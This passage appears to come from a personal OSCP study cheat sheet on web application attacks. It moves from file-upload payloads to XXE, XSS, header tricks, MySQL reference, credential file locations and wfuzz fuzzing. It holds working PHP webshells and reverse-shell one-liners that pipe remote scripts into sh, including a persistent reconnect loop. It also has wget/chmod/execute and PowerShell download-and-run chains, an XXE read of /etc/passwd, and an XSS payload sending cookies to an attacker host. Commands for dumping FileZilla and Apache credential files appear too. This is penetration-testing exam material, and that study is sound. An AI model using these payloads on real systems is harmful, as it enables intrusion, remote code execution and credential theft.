http://192.168.85.46:242/simple-backdoor.php?cmd=copy \\192.168.49.85\ROPNOP\netcat\nc.exe .
Windows PHP reverse shell: https://github.com/Dhayalanb/windows-php-reverse-shell
PHP one-liner webshells
<?php system($_REQUEST['anything']); ?>
PHP reverse-shell payloads
<?php system("curl http://OUR_IP/rev.sh |sh"); ?>
<?php system("while true;do curl http://OUR_IP/rev.sh |sh;done"); ?> # persistent: reconnects if dropped
<pre>
system("wget http://IP:8000/offsec -O /tmp/offsec ; chmod 755 /tmp/offsec ; /tmp/offsec");
</pre>
Mnemonic for the above: Download, Permit, Execute (wget → chmod → run).
Windows download+execute via webshell cmd param
http://192.168.x.x/shell.php?cmd=powershell+-c+"Invoke-WebRequest+http://192.168.49.x/shell.exe+-OutFile+C:\xampp\tmp\shell.exe;+C:\xampp\tmp\shell.exe"
WebDAV
davtest -url http://192.168.x.x/webdav # test what you can upload
curl -T shell.php http://192.168.x.x/webdav/shell.php # if you can put a shell
MSHTA / HTA attacks
https://www.hackingarticles.in/windows-exploitation-mshta/
12. OTHER VULNS
XXE (XML accepted — uploads, APIs, SOAP)
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<r>&x;</r>
IDOR / access control
- Change IDs in URLs/requests (
/account?id=1→id=2). Test every numeric/GUID param. Forced browsing to admin paths.
XSS (mainly for session theft on OSCP)
<script>document.location='http://ATK/c?'+document.cookie</script>
- Only useful if HttpOnly missing AND a victim/admin triggers it. OSCP rarely simulates clients — chase only on a "an admin reviews submissions" hint.
- XSS fuzzing:
wfuzz -c -z file,/opt/SecLists/Fuzzing/XSS/XSS-BruteLogic.txt "$URL"
wfuzz -c -z file,/opt/SecLists/Fuzzing/XSS/XSS-Jhaddix.txt "$URL"
Header tricks (access control / logic bypass)
X-Forwarded-For: 127.0.0.1 # bypass IP allowlists / "admin only from localhost"
X-Original-URL: /admin # access control bypass
X-Rewrite-URL: /admin
Host: evil.com # host header injection → reset poisoning, routing
Referer: # sometimes gates logic
User-Agent: # log poisoning vector, sometimes SQLi
13. DATABASE REFERENCE
MySQL — connect & navigate
mysql -u root -p # try logging on without a password
mysql -u root -h docker.eu -P 3306 -p
SHOW DATABASES; -- list databases
USE users; -- switch db
SHOW TABLES; -- list tables
DESCRIBE logins; -- table columns/properties
SELECT * FROM users;
SELECT * FROM table_name; -- all columns
SELECT column1, column2 FROM table_name; -- specific columns
MySQL — table/column management
CREATE TABLE logins (id INT, ...);
INSERT INTO table_name VALUES (value_1,..);
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..);
UPDATE table_name SET column1=newvalue1, ... WHERE <condition>;
DROP TABLE logins;
ALTER TABLE logins ADD newColumn INT;
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
ALTER TABLE logins MODIFY oldColumn DATE;
ALTER TABLE logins DROP oldColumn;
MySQL — output control
SELECT * FROM logins ORDER BY column_1;
SELECT * FROM logins ORDER BY column_1 DESC;
SELECT * FROM logins ORDER BY column_1 DESC, id ASC;
SELECT * FROM logins LIMIT 2; -- first two
SELECT * FROM logins LIMIT 1, 2; -- two results starting from index 1
SELECT * FROM table_name WHERE <condition>;
SELECT * FROM logins WHERE username LIKE 'admin%';
MySQL via shell on Linux (post-foothold)
mysql -u root -p # try no password
show databases;
use <db name>;
show tables;
select * from users;
14. COMMON APP CREDENTIAL LOCATIONS
FileZilla (usernames + MD5 or sometimes plaintext passwords — crack or reuse)
type "C:\Program Files (x86)\FileZilla Server\FileZilla Server.xml"
type "C:\xampp\FileZillaFTP\FileZilla Server.xml"
Apache / XAMPP
type C:\xampp\apache\conf\httpd.conf
type C:\xampp\apache\conf\extra\httpd-vhosts.conf
15. RESOURCES & LINKS
- https://portswigger.net/web-security — Web Security Academy
- https://guide.offsecnewbie.com/web — web cheatsheet + methodology mind map
- https://www.youtube.com/@RanaKhalil101/playlists — PortSwigger lab playlists (detailed; uses Burp Pro, may be overkill)
- "Web App Penetration Testing - #1 - Setting Up Burp Suite" — 40-video web app pentesting series
- "Web App Pentesting - HTTP Cookies & Sessions"
- https://github.com/payloadbox/sql-injection-payload-list — SQLi payloads
- https://cheats.philkeeble.com/active-directory/mssql — MSSQL cheats
- https://book.hacktricks.xyz/pentesting-web/login-bypass — login bypass
- https://www.hackingarticles.in/windows-exploitation-mshta/ — MSHTA / HTA
- https://0xdf.gitlab.io/2020/09/12/htb-travel.html — subdomain brute walkthrough
- https://github.com/Dhayalanb/windows-php-reverse-shell — Windows PHP rev shell
- https://www.reddit.com/r/oscp/comments/yrg66f/resources_for_web_app_attacks_in_ad_boxes/
- https://www.reddit.com/r/oscp/comments/lpb2bj/a_little_help_for_web_app_methodology/
- HackTricks — service/port-specific attacks (most-used resource per passers)
- GTFOBins, LOLBAS — living-off-the-land binaries
- Do web 100 — practice goal/reminder
16. MISC / UNSORTED
Items from the original notes that don't cleanly fit a category, kept verbatim for reference:
-
whoami /priv— Windows token privileges check. (Belongs to post-foothold/privesc, not web — but it's in your web notes, likely the "after webshell on Windows" step. Check this immediately after any Windows webshell:SeImpersonate→ Potato → SYSTEM.) -
"Try
/../../../in address bar" — your own note flags this as "not accurate." Kept as-is; the working traversal forms are in the LFI section. -
"S1ren mentioned a third party response for a 404, that we shouldn't ignore — what were they referencing?" — open question in your notes. Likely referring to: a non-standard/custom 404 page that still leaks info, OR a 404 from a different server/service in the response chain (e.g. a backend app server behind a proxy) indicating another host/app worth enumerating. Worth resolving before exam. Possibly also
--hc 404fuzzing nuance: don't blindly filter 404s if the app returns 200 for "not found" or 404 with useful body content. -
"Download / Permit / Execute" — mnemonic for the wget→chmod→run webshell pattern (now noted alongside that payload in the File Upload section).
-
Gospider — web crawler/spider tool (recon). Run during mapping.
Parameter Fuzzing with wfuzz
When you find an endpoint that takes parameters, enumerate unknowns with wfuzz and filter by character count to isolate anomalies:
# Find injectable parameters — hide the common response size
wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 526 "http://IP:PORT/orders.php?FUZZ=FUZZ"
# Once you find one parameter (e.g. userId), look for more alongside it
wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 596,593,454 "http://IP:PORT/orders.php?userId=test&FUZZ=FUZZ"
# POST body fuzzing
wfuzz -X POST -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -d "id=FUZZ&catalog=1" "http://IP:PORT/endpoint"
# Proxy through Burp for inspection
wfuzz -w /path/to/wordlist -p 127.0.0.1:8080:HTTP "http://IP:PORT/orders.php?FUZZ=FUZZ"
Tip: switch
--hh(hide chars) to--hl(hide lines) when char counts cluster in groups — anomalies often show up in line count differences instead. An IDOR or debug parameter often reveals itself this way.